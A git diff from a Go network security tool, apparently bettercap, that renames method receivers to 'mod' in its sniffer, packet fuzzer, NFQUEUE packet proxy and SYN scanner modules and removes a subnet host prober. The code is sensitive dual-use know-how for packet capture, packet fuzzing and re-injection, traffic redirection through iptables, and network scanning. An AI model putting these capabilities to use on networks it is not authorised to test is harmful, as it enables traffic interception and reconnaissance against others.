mod.Ctx.OutputWriter.WritePacket(packet.Metadata().CaptureInfo, data)
|
||||||
s.Stats.NumWrote++
|
mod.Stats.NumWrote++
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
s.pktSourceChan = nil
|
mod.pktSourceChan = nil
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) Stop() error {
|
func (mod *Sniffer) Stop() error {
|
||||||
return s.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
s.Debug("stopping sniffer")
|
mod.Debug("stopping sniffer")
|
||||||
if s.pktSourceChan != nil {
|
if mod.pktSourceChan != nil {
|
||||||
s.Debug("sending nil")
|
mod.Debug("sending nil")
|
||||||
s.pktSourceChan <- nil
|
mod.pktSourceChan <- nil
|
||||||
s.Debug("nil sent")
|
mod.Debug("nil sent")
|
||||||
}
|
}
|
||||||
s.Debug("closing ctx")
|
mod.Debug("closing ctx")
|
||||||
s.Ctx.Close()
|
mod.Ctx.Close()
|
||||||
s.Debug("ctx closed")
|
mod.Debug("ctx closed")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -27,12 +27,12 @@ type SnifferContext struct {
|
||||||
OutputWriter *pcapgo.Writer
|
OutputWriter *pcapgo.Writer
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
func (mod *Sniffer) GetContext() (error, *SnifferContext) {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
ctx := NewSnifferContext()
|
ctx := NewSnifferContext()
|
||||||
|
|
||||||
if err, ctx.Source = s.StringParam("net.sniff.source"); err != nil {
|
if err, ctx.Source = mod.StringParam("net.sniff.source"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||||
* could hang waiting for a timeout to expire ...
|
* could hang waiting for a timeout to expire ...
|
||||||
*/
|
*/
|
||||||
readTimeout := 500 * time.Millisecond
|
readTimeout := 500 * time.Millisecond
|
||||||
if ctx.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, readTimeout); err != nil {
|
if ctx.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, readTimeout); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
@ -51,15 +51,15 @@ func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, ctx.Verbose = s.BoolParam("net.sniff.verbose"); err != nil {
|
if err, ctx.Verbose = mod.BoolParam("net.sniff.verbose"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, ctx.DumpLocal = s.BoolParam("net.sniff.local"); err != nil {
|
if err, ctx.DumpLocal = mod.BoolParam("net.sniff.local"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, ctx.Filter = s.StringParam("net.sniff.filter"); err != nil {
|
if err, ctx.Filter = mod.StringParam("net.sniff.filter"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
} else if ctx.Filter != "" {
|
} else if ctx.Filter != "" {
|
||||||
err = ctx.Handle.SetBPFFilter(ctx.Filter)
|
err = ctx.Handle.SetBPFFilter(ctx.Filter)
|
||||||
|
@ -68,7 +68,7 @@ func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, ctx.Expression = s.StringParam("net.sniff.regexp"); err != nil {
|
if err, ctx.Expression = mod.StringParam("net.sniff.regexp"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
} else if ctx.Expression != "" {
|
} else if ctx.Expression != "" {
|
||||||
if ctx.Compiled, err = regexp.Compile(ctx.Expression); err != nil {
|
if ctx.Compiled, err = regexp.Compile(ctx.Expression); err != nil {
|
||||||
|
@ -76,7 +76,7 @@ func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, ctx.Output = s.StringParam("net.sniff.output"); err != nil {
|
if err, ctx.Output = mod.StringParam("net.sniff.output"); err != nil {
|
||||||
return err, ctx
|
return err, ctx
|
||||||
} else if ctx.Output != "" {
|
} else if ctx.Output != "" {
|
||||||
if ctx.OutputFile, err = os.Create(ctx.Output); err != nil {
|
if ctx.OutputFile, err = os.Create(ctx.Output); err != nil {
|
||||||
|
|
|
@ -21,10 +21,10 @@ var mutators = []func(byte) byte{
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) fuzz(data []byte) int {
|
func (mod *Sniffer) fuzz(data []byte) int {
|
||||||
changes := 0
|
changes := 0
|
||||||
for off, b := range data {
|
for off, b := range data {
|
||||||
if rand.Float64() > s.fuzzRatio {
|
if rand.Float64() > mod.fuzzRatio {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -34,19 +34,19 @@ func (s *Sniffer) fuzz(data []byte) int {
|
||||||
return changes
|
return changes
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) doFuzzing(pkt gopacket.Packet) {
|
func (mod *Sniffer) doFuzzing(pkt gopacket.Packet) {
|
||||||
if rand.Float64() > s.fuzzRate {
|
if rand.Float64() > mod.fuzzRate {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
layersChanged := 0
|
layersChanged := 0
|
||||||
bytesChanged := 0
|
bytesChanged := 0
|
||||||
|
|
||||||
for _, fuzzLayerType := range s.fuzzLayers {
|
for _, fuzzLayerType := range mod.fuzzLayers {
|
||||||
for _, layer := range pkt.Layers() {
|
for _, layer := range pkt.Layers() {
|
||||||
if layer.LayerType().String() == fuzzLayerType {
|
if layer.LayerType().String() == fuzzLayerType {
|
||||||
fuzzData := layer.LayerContents()
|
fuzzData := layer.LayerContents()
|
||||||
changes := s.fuzz(fuzzData)
|
changes := mod.fuzz(fuzzData)
|
||||||
if changes > 0 {
|
if changes > 0 {
|
||||||
layersChanged++
|
layersChanged++
|
||||||
bytesChanged += changes
|
bytesChanged += changes
|
||||||
|
@ -57,62 +57,62 @@ func (s *Sniffer) doFuzzing(pkt gopacket.Packet) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if bytesChanged > 0 {
|
if bytesChanged > 0 {
|
||||||
logFn := s.Info
|
logFn := mod.Info
|
||||||
if s.fuzzSilent {
|
if mod.fuzzSilent {
|
||||||
logFn = s.Debug
|
logFn = mod.Debug
|
||||||
}
|
}
|
||||||
logFn("changed %d bytes in %d layers.", bytesChanged, layersChanged)
|
logFn("changed %d bytes in %d layers.", bytesChanged, layersChanged)
|
||||||
if err := s.Session.Queue.Send(pkt.Data()); err != nil {
|
if err := mod.Session.Queue.Send(pkt.Data()); err != nil {
|
||||||
s.Error("error sending fuzzed packet: %s", err)
|
mod.Error("error sending fuzzed packet: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) configureFuzzing() (err error) {
|
func (mod *Sniffer) configureFuzzing() (err error) {
|
||||||
layers := ""
|
layers := ""
|
||||||
|
|
||||||
if err, layers = s.StringParam("net.fuzz.layers"); err != nil {
|
if err, layers = mod.StringParam("net.fuzz.layers"); err != nil {
|
||||||
return
|
return
|
||||||
} else {
|
} else {
|
||||||
s.fuzzLayers = str.Comma(layers)
|
mod.fuzzLayers = str.Comma(layers)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.fuzzRate = s.DecParam("net.fuzz.rate"); err != nil {
|
if err, mod.fuzzRate = mod.DecParam("net.fuzz.rate"); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.fuzzRatio = s.DecParam("net.fuzz.ratio"); err != nil {
|
if err, mod.fuzzRatio = mod.DecParam("net.fuzz.ratio"); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.fuzzSilent = s.BoolParam("net.fuzz.silent"); err != nil {
|
if err, mod.fuzzSilent = mod.BoolParam("net.fuzz.silent"); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) StartFuzzing() error {
|
func (mod *Sniffer) StartFuzzing() error {
|
||||||
if s.fuzzActive {
|
if mod.fuzzActive {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := s.configureFuzzing(); err != nil {
|
if err := mod.configureFuzzing(); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if !s.Running() {
|
} else if !mod.Running() {
|
||||||
if err := s.Start(); err != nil {
|
if err := mod.Start(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
s.fuzzActive = true
|
mod.fuzzActive = true
|
||||||
|
|
||||||
s.Info("active on layer types %s (rate:%f ratio:%f)", strings.Join(s.fuzzLayers, ","), s.fuzzRate, s.fuzzRatio)
|
mod.Info("active on layer types %s (rate:%f ratio:%f)", strings.Join(mod.fuzzLayers, ","), mod.fuzzRate, mod.fuzzRatio)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) StopFuzzing() error {
|
func (mod *Sniffer) StopFuzzing() error {
|
||||||
s.fuzzActive = false
|
mod.fuzzActive = false
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
|
@ -14,26 +14,26 @@ func NewPacketProxy(s *session.Session) *PacketProxy {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Name() string {
|
func (mod PacketProxy) Name() string {
|
||||||
return "packet.proxy"
|
return "packet.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Description() string {
|
func (mod PacketProxy) Description() string {
|
||||||
return "Not supported on this OS"
|
return "Not supported on this OS"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Author() string {
|
func (mod PacketProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Configure() (err error) {
|
func (mod *PacketProxy) Configure() (err error) {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Start() error {
|
func (mod *PacketProxy) Start() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Stop() error {
|
func (mod *PacketProxy) Stop() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
|
@ -16,26 +16,26 @@ func NewPacketProxy(s *session.Session) *PacketProxy {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Name() string {
|
func (mod PacketProxy) Name() string {
|
||||||
return "packet.proxy"
|
return "packet.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Description() string {
|
func (mod PacketProxy) Description() string {
|
||||||
return "Not supported on this OS"
|
return "Not supported on this OS"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Author() string {
|
func (mod PacketProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Configure() (err error) {
|
func (mod *PacketProxy) Configure() (err error) {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Start() error {
|
func (mod *PacketProxy) Start() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Stop() error {
|
func (mod *PacketProxy) Stop() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
|
@ -78,103 +78,103 @@ func NewPacketProxy(s *session.Session) *PacketProxy {
|
||||||
return mod
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Name() string {
|
func (mod PacketProxy) Name() string {
|
||||||
return "packet.proxy"
|
return "packet.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Description() string {
|
func (mod PacketProxy) Description() string {
|
||||||
return "A Linux only module that relies on NFQUEUEs in order to filter packets."
|
return "A Linux only module that relies on NFQUEUEs in order to filter packets."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Author() string {
|
func (mod PacketProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) destroyQueue() {
|
func (mod *PacketProxy) destroyQueue() {
|
||||||
if pp.queue == nil {
|
if mod.queue == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
pp.queue.DestroyQueue()
|
mod.queue.DestroyQueue()
|
||||||
pp.queue.Close()
|
mod.queue.Close()
|
||||||
pp.queue = nil
|
mod.queue = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) runRule(enable bool) (err error) {
|
func (mod *PacketProxy) runRule(enable bool) (err error) {
|
||||||
action := "-A"
|
action := "-A"
|
||||||
if !enable {
|
if !enable {
|
||||||
action = "-D"
|
action = "-D"
|
||||||
}
|
}
|
||||||
|
|
||||||
args := []string{
|
args := []string{
|
||||||
action, pp.chainName,
|
action, mod.chainName,
|
||||||
}
|
}
|
||||||
|
|
||||||
if pp.rule != "" {
|
if mod.rule != "" {
|
||||||
rule := strings.Split(pp.rule, " ")
|
rule := strings.Split(mod.rule, " ")
|
||||||
args = append(args, rule...)
|
args = append(args, rule...)
|
||||||
}
|
}
|
||||||
|
|
||||||
args = append(args, []string{
|
args = append(args, []string{
|
||||||
"-j", "NFQUEUE",
|
"-j", "NFQUEUE",
|
||||||
"--queue-num", fmt.Sprintf("%d", pp.queueNum),
|
"--queue-num", fmt.Sprintf("%d", mod.queueNum),
|
||||||
"--queue-bypass",
|
"--queue-bypass",
|
||||||
}...)
|
}...)
|
||||||
|
|
||||||
pp.Debug("iptables %s", args)
|
mod.Debug("iptables %s", args)
|
||||||
|
|
||||||
_, err = core.Exec("iptables", args)
|
_, err = core.Exec("iptables", args)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Configure() (err error) {
|
func (mod *PacketProxy) Configure() (err error) {
|
||||||
golog.SetOutput(ioutil.Discard)
|
golog.SetOutput(ioutil.Discard)
|
||||||
|
|
||||||
pp.destroyQueue()
|
mod.destroyQueue()
|
||||||
|
|
||||||
if err, pp.queueNum = pp.IntParam("packet.proxy.queue.num"); err != nil {
|
if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, pp.chainName = pp.StringParam("packet.proxy.chain"); err != nil {
|
} else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, pp.rule = pp.StringParam("packet.proxy.rule"); err != nil {
|
} else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, pp.pluginPath = pp.StringParam("packet.proxy.plugin"); err != nil {
|
} else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if pp.pluginPath == "" {
|
if mod.pluginPath == "" {
|
||||||
return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin"))
|
return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin"))
|
||||||
} else if !fs.Exists(pp.pluginPath) {
|
} else if !fs.Exists(mod.pluginPath) {
|
||||||
return fmt.Errorf("%s does not exist.", pp.pluginPath)
|
return fmt.Errorf("%s does not exist.", mod.pluginPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
pp.Info("loading packet proxy plugin from %s ...", pp.pluginPath)
|
mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath)
|
||||||
|
|
||||||
var ok bool
|
var ok bool
|
||||||
var sym plugin.Symbol
|
var sym plugin.Symbol
|
||||||
|
|
||||||
if pp.plugin, err = plugin.Open(pp.pluginPath); err != nil {
|
if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil {
|
||||||
return
|
return
|
||||||
} else if sym, err = pp.plugin.Lookup("OnPacket"); err != nil {
|
} else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil {
|
||||||
return
|
return
|
||||||
} else if pp.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok {
|
} else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok {
|
||||||
return fmt.Errorf("Symbol OnPacket is not a valid callback function.")
|
return fmt.Errorf("Symbol OnPacket is not a valid callback function.")
|
||||||
}
|
}
|
||||||
|
|
||||||
pp.queue = new(nfqueue.Queue)
|
mod.queue = new(nfqueue.Queue)
|
||||||
if err = pp.queue.SetCallback(dummyCallback); err != nil {
|
if err = mod.queue.SetCallback(dummyCallback); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.queue.Init(); err != nil {
|
} else if err = mod.queue.Init(); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.queue.Unbind(syscall.AF_INET); err != nil {
|
} else if err = mod.queue.Unbind(syscall.AF_INET); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.queue.Bind(syscall.AF_INET); err != nil {
|
} else if err = mod.queue.Bind(syscall.AF_INET); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.queue.CreateQueue(pp.queueNum); err != nil {
|
} else if err = mod.queue.CreateQueue(mod.queueNum); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil {
|
} else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil {
|
||||||
return
|
return
|
||||||
} else if err = pp.runRule(true); err != nil {
|
} else if err = mod.runRule(true); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -188,28 +188,28 @@ func dummyCallback(payload *nfqueue.Payload) int {
|
||||||
return mod.queueCb(payload)
|
return mod.queueCb(payload)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Start() error {
|
func (mod *PacketProxy) Start() error {
|
||||||
if pp.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err := pp.Configure(); err != nil {
|
} else if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return pp.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
pp.Info("started on queue number %d", pp.queueNum)
|
mod.Info("started on queue number %d", mod.queueNum)
|
||||||
|
|
||||||
defer pp.destroyQueue()
|
defer mod.destroyQueue()
|
||||||
|
|
||||||
pp.queue.Loop()
|
mod.queue.Loop()
|
||||||
|
|
||||||
pp.done <- true
|
mod.done <- true
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Stop() error {
|
func (mod *PacketProxy) Stop() error {
|
||||||
return pp.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
pp.queue.StopLoop()
|
mod.queue.StopLoop()
|
||||||
pp.runRule(false)
|
mod.runRule(false)
|
||||||
<-pp.done
|
<-mod.done
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -14,26 +14,26 @@ func NewPacketProxy(s *session.Session) *PacketProxy {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Name() string {
|
func (mod PacketProxy) Name() string {
|
||||||
return "packet.proxy"
|
return "packet.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Description() string {
|
func (mod PacketProxy) Description() string {
|
||||||
return "Not supported on this OS"
|
return "Not supported on this OS"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp PacketProxy) Author() string {
|
func (mod PacketProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Configure() (err error) {
|
func (mod *PacketProxy) Configure() (err error) {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Start() error {
|
func (mod *PacketProxy) Start() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (pp *PacketProxy) Stop() error {
|
func (mod *PacketProxy) Stop() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,156 +0,0 @@
|
||||||
package prober
|
|
||||||
|
|
||||||
import (
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/network"
|
|
||||||
"github.com/bettercap/bettercap/session"
|
|
||||||
|
|
||||||
"github.com/malfunkt/iprange"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Probes struct {
|
|
||||||
NBNS bool
|
|
||||||
MDNS bool
|
|
||||||
UPNP bool
|
|
||||||
WSD bool
|
|
||||||
}
|
|
||||||
|
|
||||||
type Prober struct {
|
|
||||||
session.SessionModule
|
|
||||||
throttle int
|
|
||||||
probes Probes
|
|
||||||
waitGroup *sync.WaitGroup
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewProber(s *session.Session) *Prober {
|
|
||||||
p := &Prober{
|
|
||||||
SessionModule: session.NewSessionModule("net.probe", s),
|
|
||||||
waitGroup: &sync.WaitGroup{},
|
|
||||||
}
|
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("net.probe.nbns",
|
|
||||||
"true",
|
|
||||||
"Enable NetBIOS name service discovery probes."))
|
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("net.probe.mdns",
|
|
||||||
"true",
|
|
||||||
"Enable mDNS discovery probes."))
|
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("net.probe.upnp",
|
|
||||||
"true",
|
|
||||||
"Enable UPNP discovery probes."))
|
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("net.probe.wsd",
|
|
||||||
"true",
|
|
||||||
"Enable WSD discovery probes."))
|
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("net.probe.throttle",
|
|
||||||
"10",
|
|
||||||
"If greater than 0, probe packets will be throttled by this value in milliseconds."))
|
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("net.probe on", "",
|
|
||||||
"Start network hosts probing in background.",
|
|
||||||
func(args []string) error {
|
|
||||||
return p.Start()
|
|
||||||
}))
|
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("net.probe off", "",
|
|
||||||
"Stop network hosts probing in background.",
|
|
||||||
func(args []string) error {
|
|
||||||
return p.Stop()
|
|
||||||
}))
|
|
||||||
|
|
||||||
return p
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p Prober) Name() string {
|
|
||||||
return "net.probe"
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p Prober) Description() string {
|
|
||||||
return "Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet."
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p Prober) Author() string {
|
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Prober) Configure() error {
|
|
||||||
var err error
|
|
||||||
if err, p.throttle = p.IntParam("net.probe.throttle"); err != nil {
|
|
||||||
return err
|
|
||||||
} else if err, p.probes.NBNS = p.BoolParam("net.probe.nbns"); err != nil {
|
|
||||||
return err
|
|
||||||
} else if err, p.probes.MDNS = p.BoolParam("net.probe.mdns"); err != nil {
|
|
||||||
return err
|
|
||||||
} else if err, p.probes.UPNP = p.BoolParam("net.probe.upnp"); err != nil {
|
|
||||||
return err
|
|
||||||
} else if err, p.probes.WSD = p.BoolParam("net.probe.wsd"); err != nil {
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
p.Debug("Throttling packets of %d ms.", p.throttle)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Prober) Start() error {
|
|
||||||
if err := p.Configure(); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
return p.SetRunning(true, func() {
|
|
||||||
p.waitGroup.Add(1)
|
|
||||||
defer p.waitGroup.Done()
|
|
||||||
|
|
||||||
if p.Session.Interface.IpAddress == network.MonitorModeAddress {
|
|
||||||
p.Info("Interface is in monitor mode, skipping net.probe")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
list, err := iprange.Parse(p.Session.Interface.CIDR())
|
|
||||||
if err != nil {
|
|
||||||
p.Fatal("%s", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
from := p.Session.Interface.IP
|
|
||||||
from_hw := p.Session.Interface.HW
|
|
||||||
addresses := list.Expand()
|
|
||||||
throttle := time.Duration(p.throttle) * time.Millisecond
|
|
||||||
|
|
||||||
for p.Running() {
|
|
||||||
if p.probes.MDNS {
|
|
||||||
p.sendProbeMDNS(from, from_hw)
|
|
||||||
}
|
|
||||||
|
|
||||||
if p.probes.UPNP {
|
|
||||||
p.sendProbeUPNP(from, from_hw)
|
|
||||||
}
|
|
||||||
|
|
||||||
if p.probes.WSD {
|
|
||||||
p.sendProbeWSD(from, from_hw)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, ip := range addresses {
|
|
||||||
if !p.Running() {
|
|
||||||
return
|
|
||||||
} else if p.Session.Skip(ip) {
|
|
||||||
p.Debug("skipping address %s from probing.", ip)
|
|
||||||
continue
|
|
||||||
} else if p.probes.NBNS {
|
|
||||||
p.sendProbeNBNS(from, from_hw, ip)
|
|
||||||
}
|
|
||||||
time.Sleep(throttle)
|
|
||||||
}
|
|
||||||
|
|
||||||
time.Sleep(5 * time.Second)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Prober) Stop() error {
|
|
||||||
return p.SetRunning(false, func() {
|
|
||||||
p.waitGroup.Wait()
|
|
||||||
})
|
|
||||||
}
|
|
|
@ -1,19 +0,0 @@
|
||||||
package prober
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net"
|
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/packets"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (p *Prober) sendProbeMDNS(from net.IP, from_hw net.HardwareAddr) {
|
|
||||||
err, raw := packets.NewMDNSProbe(from, from_hw)
|
|
||||||
if err != nil {
|
|
||||||
p.Error("error while sending mdns probe: %v", err)
|
|
||||||
return
|
|
||||||
} else if err := p.Session.Queue.Send(raw); err != nil {
|
|
||||||
p.Error("error sending mdns packet: %s", err)
|
|
||||||
} else {
|
|
||||||
p.Debug("sent %d bytes of MDNS probe", len(raw))
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -38,111 +38,111 @@ type SynScanner struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewSynScanner(s *session.Session) *SynScanner {
|
func NewSynScanner(s *session.Session) *SynScanner {
|
||||||
ss := &SynScanner{
|
mod := &SynScanner{
|
||||||
SessionModule: session.NewSessionModule("syn.scan", s),
|
SessionModule: session.NewSessionModule("syn.scan", s),
|
||||||
addresses: make([]net.IP, 0),
|
addresses: make([]net.IP, 0),
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
progressEvery: time.Duration(1) * time.Second,
|
progressEvery: time.Duration(1) * time.Second,
|
||||||
}
|
}
|
||||||
|
|
||||||
ss.AddParam(session.NewIntParameter("syn.scan.show-progress-every",
|
mod.AddParam(session.NewIntParameter("syn.scan.show-progress-every",
|
||||||
"1",
|
"1",
|
||||||
"Period in seconds for the scanning progress reporting."))
|
"Period in seconds for the scanning progress reporting."))
|
||||||
|
|
||||||
ss.AddHandler(session.NewModuleHandler("syn.scan stop", "syn\\.scan (stop|off)",
|
mod.AddHandler(session.NewModuleHandler("syn.scan stop", "syn\\.scan (stop|off)",
|
||||||
"Stop the current syn scanning session.",
|
"Stop the current syn scanning session.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if !ss.Running() {
|
if !mod.Running() {
|
||||||
return fmt.Errorf("no syn.scan is running")
|
return fmt.Errorf("no syn.scan is running")
|
||||||
}
|
}
|
||||||
return ss.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
ss.AddHandler(session.NewModuleHandler("syn.scan IP-RANGE [START-PORT] [END-PORT]", "syn.scan ([^\\s]+) ?(\\d+)?([\\s\\d]*)?",
|
